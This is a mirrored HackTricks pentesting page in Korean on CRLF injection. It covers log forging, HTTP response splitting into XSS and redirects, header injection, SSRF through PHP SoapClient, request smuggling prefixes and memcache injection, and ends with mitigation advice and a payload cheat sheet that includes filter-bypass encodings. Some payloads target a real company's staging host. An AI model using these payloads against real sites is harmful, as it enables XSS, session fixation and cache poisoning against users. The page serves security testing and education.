Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/crlf-0d-0a.md

16 KiB
Raw Blame History

CRLF (%0D%0A) 삽입

htARTE (HackTricks AWS Red Team Expert)을 통해 **제로부터 영웅까지 AWS 해킹 배우기**!

HackTricks를 지원하는 다른 방법:

버그 바운티 팁: 해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼인 Intigriti에 가입하세요! https://go.intigriti.com/hacktricks에서 오늘 최대 $100,000의 바운티를 받으세요!

{% embed url="https://go.intigriti.com/hacktricks" %}

CRLF

복귀(CR) 및 줄 바꿈(LF)은 HTTP 프로토콜에서 사용되는 특수 문자 시퀀스로, 한 줄의 끝이나 새로운 줄의 시작을 나타냅니다. 웹 서버와 브라우저는 HTTP 헤더와 응답 본문을 구분하기 위해 CRLF를 사용합니다. 이러한 문자는 Apache 및 Microsoft IIS와 같은 다양한 웹 서버 유형에서 HTTP/1.1 통신에서 보편적으로 사용됩니다.

CRLF 삽입 취약점

CRLF 삽입은 CR 및 LF 문자를 사용자가 제공한 입력에 삽입하는 것을 포함합니다. 이 작업은 서버, 응용 프로그램 또는 사용자를 속여 삽입된 시퀀스를 하나의 응답의 끝과 다른 응답의 시작으로 해석하게 합니다. 이러한 문자는 본질적으로 해로운 것은 아니지만, 오용될 경우 HTTP 응답 분할 및 기타 악의적인 활동으로 이어질 수 있습니다.

예: 로그 파일에서의 CRLF 삽입

여기에서 예제 확인

관리자 패널의 로그 파일을 고려해보세요. 형식은 다음과 같습니다: IP - 시간 - 방문한 경로. 일반적인 항목은 다음과 같을 수 있습니다:

123.123.123.123 - 08:15 - /index.php?page=home

공격자는 CRLF 삽입을 이용하여 이 로그를 조작할 수 있습니다. HTTP 요청에 CRLF 문자를 삽입함으로써, 공격자는 출력 스트림을 변경하고 로그 항목을 조작할 수 있습니다. 예를 들어, 삽입된 시퀀스는 로그 항목을 다음과 같이 변형시킬 수 있습니다:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

여기서 %0d와 %0a는 CR과 LF의 URL 인코딩 된 형태를 나타냅니다. 공격 후 로그는 오도하게 표시됩니다:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

HTTP 응닑 분할

설명

HTTP 응닑 분할은 공격자가 HTTP 응답 구조를 악용할 때 발생하는 보안 취약점입니다. 이 구조는 헤더와 바디를 특정 문자 시퀀스로 구분하는데, 이는 캐리지 리턴(CR) 뒤에 라인 피드(LF)가 따르는 문자 시퀀스로, CRLF로 통칭됩니다. 공격자가 응답 헤더에 CRLF 시퀀스를 삽입하면, 이후의 응답 내용을 효과적으로 조작할 수 있습니다. 이러한 조작은 심각한 보안 문제, 특히 Cross-site Scripting (XSS)로 이어질 수 있습니다.

HTTP 응답 분할을 통한 XSS

  1. 애플리케이션은 다음과 같이 사용자 입력을 나타내는 사용자 정의 헤더를 설정합니다: X-Custom-Header: UserInput
  2. 애플리케이션은 UserInput의 값을 쿼리 매개변수에서 가져옵니다. 적절한 입력 유효성 검사와 인코딩이 부족한 상황에서, 공격자는 CRLF 시퀀스를 포함한 악의적인 내용을 담은 페이로드를 작성할 수 있습니다.
  3. 공격자는 특별히 설계된 'user_input'을 포함한 URL을 작성합니다: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
  • 이 URL에서 %0d%0a%0d%0a는 CRLFCRLF의 URL 인코딩 형태입니다. 이는 서버가 CRLF 시퀀스를 삽입하도록 속이며, 이후 부분을 응답 바디로 처리하도록 만듭니다.
  1. 서버는 공격자의 입력을 응답 헤더에 반영하여, 악의적인 스크립트가 브라우저에 의해 응답 바디의 일부로 해석되는 의도하지 않은 응답 구조로 이어집니다.

HTTP 응답 분할로 인한 리다이렉트 사례

https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

브라우저로:

/%0d%0aLocation:%20http://myweb.com

서버는 다음과 같이 헤더를 응답합니다:

Location: http://myweb.com

다른 예시: (출처 https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

URL 경로에서

서버의 응답을 제어하기 위해 URL 경로 안에 페이로드를 보낼 수 있습니다 (예시는 여기에서 확인할 수 있습니다):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

더 많은 예제를 확인하세요:

{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}

HTTP 헤더 주입

HTTP 헤더 주입은 종종 CRLF (캐리지 리턴 및 줄 바꿈) 주입을 통해 악용되며, 공격자가 HTTP 헤더를 삽입할 수 있게 합니다. 이는 XSS (크로스 사이트 스크립팅) 필터 또는 SOP (동일 출처 정책)와 같은 보안 메커니즘을 약화시킬 수 있으며, 이로 인해 CSRF 토큰과 같은 민감한 데이터에 대한 무단 액세스 또는 쿠키 심기를 통한 사용자 세션 조작이 발생할 수 있습니다.

HTTP 헤더 주입을 통한 CORS 취약점 악용

공격자는 HTTP 헤더를 삽입하여 CORS (교차 출처 리소스 공유)를 활성화시킬 수 있으며, SOP에 의해 부과된 제한을 우회할 수 있습니다. 이 취약점을 통해 악의적 출처의 스크립트가 다른 출처의 리소스와 상호 작용하여 보호된 데이터에 액세스할 수 있습니다.

CRLF를 통한 SSRF 및 HTTP 요청 주입

CRLF 주입은 완전히 새로운 HTTP 요청을 작성하고 삽입하는 데 사용될 수 있습니다. 이는 PHP의 SoapClient 클래스에서 발생하는 취약점의 주요 예시로, 특히 user_agent 매개변수 내에서 발생합니다. 이 매개변수를 조작함으로써, 공격자는 추가 헤더 및 본문 내용을 삽입하거나 새로운 HTTP 요청을 완전히 삽입할 수 있습니다. 아래는 이 악용을 보여주는 PHP 예시입니다:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

요청 스머글링을 위한 헤더 주입

이 기술과 잠재적인 문제에 대한 자세한 정보는 원본 소스를 확인하세요.

백엔드가 초기 요청에 응답한 후 연결을 유지하도록 필수 헤더를 주입할 수 있습니다:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

악용:

  1. 악의적인 접두사 주입: 이 방법은 다음 사용자의 요청이나 웹 캐시를 독점하는 것을 포함합니다. 악의적인 접두사를 지정함으로써 이루어집니다. 예시:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%a HTTP/1.1

  1. 응답 큐 독점을 위한 접두사 작성: 이 방법은 접두사를 생성하여 후행 쓰레기와 결합할 때 완전한 두 번째 요청이 형성되는 것을 포함합니다. 이는 응답 큐 독점을 유발할 수 있습니다. 예시:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache 주입

Memcache는 명확한 텍스트 프로토콜을 사용하는 키-값 저장소입니다. 자세한 정보는 다음에서 확인할 수 있습니다:

{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}

전체 정보는 원본 설명서 를 참조하십시오.

플랫폼이 HTTP 요청에서 데이터를 가져와 살균하지 않고 memcache 서버로 요청을 수행하는 경우, 공격자는 이 동작을 악용하여 새로운 memcache 명령을 주입할 수 있습니다.

예를 들어, 원본에서 발견된 취약점에서 캐시 키가 사용되어 사용자가 연결해야 하는 IP 및 포트를 반환하고, 공격자는 캐시를 독점하여 피해자의 세부 정보 (사용자 이름 및 비밀번호 포함)를 공격자 서버로 보내는 memcache 명령을 주입할 수 있었습니다.

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop

또한, 연구자들은 memcache 응답을 비동기화하여 공격자가 모르는 사용자에게 공격자의 IP 및 포트를 보내는 것을 발견했습니다:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop

웹 애플리케이션에서 CRLF / HTTP 헤더 주입 방지 방법

웹 애플리케이션에서 CRLF (캐리지 리턴 및 줄 바꿈) 또는 HTTP 헤더 주입의 위험을 줄이기 위해 다음 전략을 권장합니다:

  1. 응답 헤더에 직접 사용자 입력 피하기: 가장 안전한 방법은 사용자가 제공한 입력을 직접 응답 헤더에 포함시키지 않는 것입니다.
  2. 특수 문자 인코딩: 직접 사용자 입력을 피하는 것이 불가능한 경우, 캐리지 리턴 (CR) 및 줄 바꿈 (LF)과 같은 특수 문자를 인코딩하는 데 전용 함수를 사용하십시오. 이러한 방법을 통해 CRLF 주입 가능성을 방지할 수 있습니다.
  3. 프로그래밍 언어 업데이트: 웹 애플리케이션에서 사용하는 프로그래밍 언어를 정기적으로 최신 버전으로 업데이트하십시오. HTTP 헤더를 설정하는 함수 내에서 CR 및 LF 문자의 주입을 기본적으로 허용하지 않는 버전을 선택하십시오.

치트시트

여기서 치트시트 확인

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

자동 도구

브루트포스 탐지 목록

참고 자료

버그 바운티 팁: Intigriti에 가입하여 해커들이 만든 프리미엄 버그 바운티 플랫폼에 참여하세요! https://go.intigriti.com/hacktricks에서 오늘 가입하고 최대 $100,000의 바운티를 받아보세요!

{% embed url="https://go.intigriti.com/hacktricks" %}

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법: